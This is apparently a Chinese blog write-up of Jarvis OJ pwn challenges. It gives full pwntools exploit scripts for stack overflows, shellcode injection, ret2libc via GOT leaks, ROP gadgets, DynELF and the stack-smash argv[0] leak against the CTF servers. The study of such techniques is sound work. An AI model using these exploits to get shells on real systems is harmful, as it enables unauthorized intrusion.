jarvis-oj之pwn

Basic - Shellcode

题目描述:

作为一个黑客,怎么能不会使用shellcode?

这里给你一段shellcode,你能正确使用并最后得到flag吗?

shellcode.06f28b9c8f53b0e86572dbc9ed3346bc

网上查了一下,是要用一个叫Shellcodeexec的程序跑一下,就可以拿到flag。真是醉了。。

image

附带大佬们的博客:http://veritas501.space/2017/03/10/JarvisOJ_WP/


pwn

level0

简单题,不用太多解释,直接构造一个溢出,然后跳转到指定的函数就可以getshell了

#!/usr/bin/python 
# -*- coding: utf-8 -*-
from pwn import *
target = remote("pwn2.jarvisoj.com","9881")
payload = "A" * 0x88 + p64(0x400596) 
target.send(payload)
target.interactive()

level1

这道题的核心思想是根据一开始给定的buf的地址构造shellcode, 由于栈的大小只有0x88,而read函数能读取0x100到buf中,所以可以通过溢出 让函数挑战到shellcode的位置进行执行 首先构造shellcode,用pwntools的函数构造:shellcode=asm(shellcraft.sh()) 接着需要一个跳转的地址,因为shecksec发现这个32位的程序没有开启任何保护机制 所以就在缓冲区内构造shellcode,并用buf作为起始地址

#!/usr/bin/python 
 # -*- coding: utf-8 -*-
from pwn import *
target = remote("pwn2.jarvisoj.com","9877")
shellcode=asm(shellcraft.sh())

#表示从接受到的字符串中获取下标为14到倒数第二个的字符串
#接着用int()函数将text字符串转化为16进制的整数,作为跳转的地址
text = target.recvline()[14: -2]
buf_addr = int(text, 16)

#target.recvuntil("What's this:")表示从接收到“what’s this:”开始
#buf_addr = int(target.recv(10),16)将获取到的十个字符串转换为16进制的整数

payload = shellcode +"A" *(0x88+0x4-len(shellcode)) + p32(buf_addr) 
target.send(payload)
target.interactive()

level2

这道题已经给出了system和bin/sh参数的地址,那么直接跳过去执行getshell就行了, 需要注意的是构造paylode的格式应该是: junk+fakeebp+func+fakeebp+参数n+参数n-1。。。。

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = remote("pwn2.jarvisoj.com",9878)

system_add = p32(0x08048320)
binsh_add = p32(0x0804A024)

payload = 'a'*(0x88 + 0x4) + system_add +'a'*4 + binsh_add
p.sendline(payload)
p.interactive()

level3

这道题的难度比起之前的大了很多了,涉及到了新的知识点,就是有关动态链接,plt和got表,延时绑定技术 为了搞定这道题我还特意去看了《程序员的自我修养》 然而,发现光看书还是不是很清楚延时绑定的原理, 于是只能去找各个大佬的wp来看 发现,这道题的基本思路是这样的: 首先,还是通过read函数发现了一个基本的栈溢出漏洞,字符串缓冲区只有88个字节的大小 然而read函数允许输入100个字节到buf中,那么就可以构造溢出跳转了 但是通过checksec发现开了NX保护,那么就不能在buf中构造shellcode了 然后题目中有给出了.so文件,也就是动态链接库 那么很明显需要利用这个.so文件来解题 那就需要找到system函数和“/bin/sh”参数,这样才能弄出ret2lib 那源文件level3中并没有提供这些,于是需要在so文件中找 通过大佬的wp 知道了函数在lib.so中的地址只是一个偏移量 需要知道基地址才能找出真正的函数地址 通过命令:objdump -d -j .plt level3 和命令:objdump -R level3 发现,程序可直接调用的函数用read和write函数 那么就可以通过write函数的功能和在lib中的偏移量,间接得出system函数的地址和参数的地址 由于: A函数的真正地址-A函数在lib的偏移量 = B函数的真正地址-B函数在lib中的偏移量 = 基地址 可以通过write函数,间接求出system函数的真正地址 由此开始构造payload 这里另一个难点在于如何构造payload 需要进行两次发送shellcode 第一次是通过plt表中的write函数地址跳转执行write函数,接着输入write函数所需要的参数 达到打印出真正的write函数地址的目的 然后用一个变量去接收这个真正的地址 接着设计执行完write函数的返回地址为vulnerable函数地址,再执行vulnerable函数 以此达到第二次输入的目的 那么第二次输入,就可以通过上一次shellcode得出的write函数地址,间接求出system函数和它的参数 然后就可以进行正常的ret2lib了 由此这道题目就解出来了。。。。。orz

#!usr/bin/env python
# encoding:utf-8
from pwn import *

#io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3")
libc = ELF("./(level3)libc-2.19.so")

write_plt = elf.symbols["write"]#找到write函数在plt和got表中的位置,并打印出来
print 'write_plt:'+hex(write_plt)
write_got = elf.got["write"]
print 'write_got:'+hex(write_got)

func = elf.symbols["vulnerable_function"]#该函数用于找到vulnerabel函数的地址
print 'func:'+hex(func)

write_libc = libc.symbols["write"]#libc中可以找到程序中有的/没有的函数的偏移
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()#在.so文件中直接搜索“/bin/sh”这个参数,...

print 'write_libc:' + hex(write_libc) + '  sys_libc:' + hex(sys_libc) + '  bin_libc:' + hex(bin_libc)

payload1 = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(func) + p32(1)+p32(write_got)+p32(4)
#垃圾填充字符串+ebp+跳转地址+返回地址+参数X3(实际上就是write函数的三个参数:write(1,write_got,4),意思是从write_got中输出4个字节的长度的内容)

io.recvuntil("Input:\n")
io.sendline(payload1)

write_addr = u32(io.recv(4))#接着接收四个字节的内容到write_addr中,并将其转换为字符串
print 'write_addr:' +  hex(write_addr)

sys_addr = write_addr - write_libc + sys_libc#利用偏移量相等获得其真实地址
bin_addr = write_addr - write_libc + bin_libc

payload2 = 'a' * 0x88 + 'aaaa' + p32(sys_addr) + p32(func) + p32(bin_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

level3_x64

按照参数传递约定,write函数需要三个参数,需要rdi,rsi,rdx三个寄存器,但是没有发现所需要的第三个寄存器rdx,所以可以先跳过第三个参数(读入长度),只要保证之前的rdx的值是大于8的就行了 只要就能保证write函数读到大于8个字符串 写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理 这里找到两个gadget,用于传参数 0x00000000004006b3 : pop rdi ; ret 此处是rdi寄存器的地址+返回地址(跳转函数的地址) 0x00000000004006b1 : pop rsi ; pop r15 ; ret 此处是rsi和r15寄存器的地址+返回地址(跳转函数的地址)

#!usr/bin/env python
# encoding:utf-8
from pwn import *

#io = process("./level3")
io = remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64")
libc = ELF("./(level3_x64)libc-2.19.so")

write_plt = elf.symbols["write"]
print 'write_plt:'+hex(write_plt)
write_got = elf.got["write"]
print 'write_got:'+hex(write_got)

func = elf.symbols["vulnerable_function"]
print 'func:'+hex(func)

rdi_addr=0x4006b3
rsi_addr=0x4006b1

write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()

print 'write_libc:' + hex(write_libc) + '  sys_libc:' + hex(sys_libc) + '  bin_libc:' + hex(bin_libc)

payload1 = 'a' * 0x88 
payload1 += p64(rdi_addr) + p64(1)
payload1 += p64(rsi_addr)+p64(write_got) +p64(0xdeadbeef)
#用deadbeef填充ret
payload1 += p64(write_plt)+ p64(func) 

io.recvuntil("Input:\n")
io.sendline(payload1)

write_addr = u64(io.recv(8))#接收八个字节并且转换成64位下的字符串
print 'write_addr:' +  hex(write_addr)

sys_addr = write_addr - write_libc + sys_libc
bin_addr = write_addr - write_libc + bin_libc

payload2 = 'a' * 0x88 
payload2 += p64(rdi_addr)+ p64(bin_addr)
payload2 += p64(sys_addr) + p64(func) 

io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

level4

我们构造的read函数有3个参数,这3个参数和read函数的返回地址不同, 返回地址在ret指令执行时被pop出栈,但是这3个参数却还留在栈中,没有被弹出栈 这回影响我们构造的下一个函数system的执行,所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈。 pop {jcq} pop {jcq} pop {jcq} ret 栈平衡 即在你的模块中要保证压栈操作和弹栈操作要相对应,保证栈指针一直指向所定义的栈空间。 堆平衡是当创建的动态变量不再使用时应将其释放回收其所占用的堆空间,当程序退出时不得在堆中留下垃圾。 就是需要把read已经压入栈中的三个参数pop出来,从而使栈恢复原来的结构,从而继续执行system 因此这里就需要用到新的操作了 就是用ROPgadget这个命令了,可以通过这样的格式: ROPgadget –binary ./[文件名] –only “pop|ret” 找出所有的寄存器的指令 有时候也能通过这样找出bin/sh的地址:ROPgadget –binary ./[文件名] –string “\bin\sh”

#coding:utf-8
from pwn import *
elf = ELF('./level4')

plt_write = elf.symbols['write']
plt_read = elf.symbols['read']

addr_func = 0x0804844B    # 存在溢出漏洞的地址
addr_pppop = 0x08048509   #pop pop pop ret 命令的地址
addr_bbs = 0x0804A027    #bss段的地址

p = remote('pwn2.jarvisoj.com', 9880)
#p = process('./level4')   
#--------------------------------------------------#
def leak(address):
#该address是指内存中的一个地址,是定义在dynelf中的变量,不能改成其他
  length = 4
  payload = 'A'*0x88+'BBBB'+p32(plt_write)+p32(addr_func)+p32(1) + p32(address) + p32(length)
#'A'*(0x88+4)--跳转去write函数--执行完write后的跳转地址--参数“1”--参数“address”--参数“4”
#相当于:去执行write(1,address,4),这样就可以dump出内存中地址为address处的4字节数据。
  p.send(payload)
  data = p.recv(4)
#通过执行完write函数后再跳转回func,不断的去leak出libc中的函数地址
  print "%#x => %s" % (address, (data or '').encode('hex'))
  return data
#---------------------------------------------------#
d = DynELF(leak, elf=ELF("./level4"))      # 初始化 DynELF,查找system函数在libc里面的地址
print "init over-------start searching system in libc"

addr_system = d.lookup('system', 'libc')  
 
print "system_addr=" + hex(addr_system)

'''
payload = 'A'*0x88+'BBBB'+p32(plt_read)+p32(addr_pppop)+p32(0)+p32(addr_bbs)+p32(8)+p32(addr_system)+p32(8)+p32(addr_bbs)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
------------------------------------------------------------------------------
该题还有第二种方法:
通过两次输入shellcode的方法实现执行system函数拿到shell
'''

payload1 = 'A'*0x88+'BBBB'+p32(plt_read)+p32(addr_func)+p32(0)+p32(addr_bbs)+p32(8)
p.sendline(payload1)
p.send('/bin/sh\x00')

payload2 = 'A'*0x88+'BBBB'+p32(addr_system)+'bbbb'+p32(addr_bbs)
p.sendline(payload2)
p.interactive()

smach

这道题利用是保护机制本身的一种漏洞:

在程序加了canary保护之后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。 而stack smash技巧则就是利用打印这一信息的程序来得到我们想要的内容。 这是因为在程序发现canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向了程序名。 其代码如下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串的地址,那么在__fortify_fail函数中就会输出我们想要的信息。

总结成一句就是,利用溢出造成报错从而打印出报错信息,使报错信息指向我们想泄漏的地址 要解决这道题,我们首先要找到argv[0]的地址 将断点设置在main函数,

0000| 0x7fffffffdcf8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:	mov    edi,eax)
0008| 0x7fffffffdd00 --> 0x0 
0016| 0x7fffffffdd08 --> 0x7fffffffddd8 --> 0x7fffffffe199 ("/home/zeref/桌面/ctf-pwn-OJ练习题/smashes")
0024| 0x7fffffffdd10 --> 0x100000000 
0032| 0x7fffffffdd18 --> 0x4006d0 (sub    rsp,0x8)
0040| 0x7fffffffdd20 --> 0x0 
0048| 0x7fffffffdd28 --> 0xb7e5e31690436a43 
0056| 0x7fffffffdd30 --> 0x4006ee (xor    ebp,ebp)

可以看出0x7fffffffe199指向程序名,其自然就是argv[0],所以我们修改的内容就是这个地址。 同时00x7fffffffddd8处保留着该地址,所以我们真正需要的地址是0x7fffffffddd8

接着我们需要找到栈顶到这个argv[0]的偏移,从而方便我们计算出需要填充的字符个数

将第二个断点设在调用__IO_gets之前(输入name变量之前)

Breakpoint 2, 0x000000000040080e in ?? ()
gdb-peda$ print $rsp
$1 = (void *) 0x7fffffffdbc0

可以得到此时的rsp为0x7fffffffdbc0 那么我们的rsp到argv[0]的偏移就是: 0x7fffffffddd - 0x7fffffffdbc0 = 0x218

然后我们就需要找到flag所在的地址了,因此需要把断点设置在执行这条汇编之前 .text:0000000000400873 call _memset

gdb-peda$ b *0x000400873
Breakpoint 1 at 0x400873
gdb-peda$ r
Starting program: /home/zeref/桌面/ctf-pwn-OJ练习题/smashes 
Hello!
What's your name? qqqqqqqqq  
Nice to meet you, qqqqqqqqq.
Please overwrite the flag: aaaaaaaaaa

然后通过find命令去找flag的地址:

Breakpoint 1, 0x0000000000400873 in ?? ()
gdb-peda$ find qqqqq
Searching for 'qqqqq' in: None ranges
Found 2 results, display max 2 items:
[stack] : 0x7fffffffb532 ("qqqqqqqqq.\nPlease overwrite the flag: ")
[stack] : 0x7fffffffdbc0 ("qqqqqqqqq")
gdb-peda$ find aaaaaaa
Searching for 'aaaaaaa' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x600d20 ("aaaaaaaaaas the flag on server}")
 [heap] : 0x601010 ("aaaaaaaaaa\n")
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 1 results, display max 1 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")

可以看到,0x600d20的地方已经被aaaa所覆盖,而0x400d20的地方仍然是“PCTF{Here’s the flag on server}” 说明这个地方是不会受影响的,而这个地址就是我们希望可以被报错输出的flag

exp如下:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

#p=process('./smash')
p=remote('pwn.jarvisoj.com', 9877)
argv_addr=0x00007fffffffddd8

name_addr=0x7fffffffdbc0
flag_addr=0x600d20 
another_flag_addr=0x400d20 

payload = 'a'*(argv_addr-name_addr) + p64(another_flag_addr)

p.recvuntil('name?')
p.sendline(payload)
p.recvuntil('flag: ')
p.sendline('bb')
data = p.recv()
p.interactive()

其实还有第二种操作 第二种操作更简单,直接疯狂填充另一个flag的地址,暴力地把argv[0]的填为另一个flag的所在地址:

from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()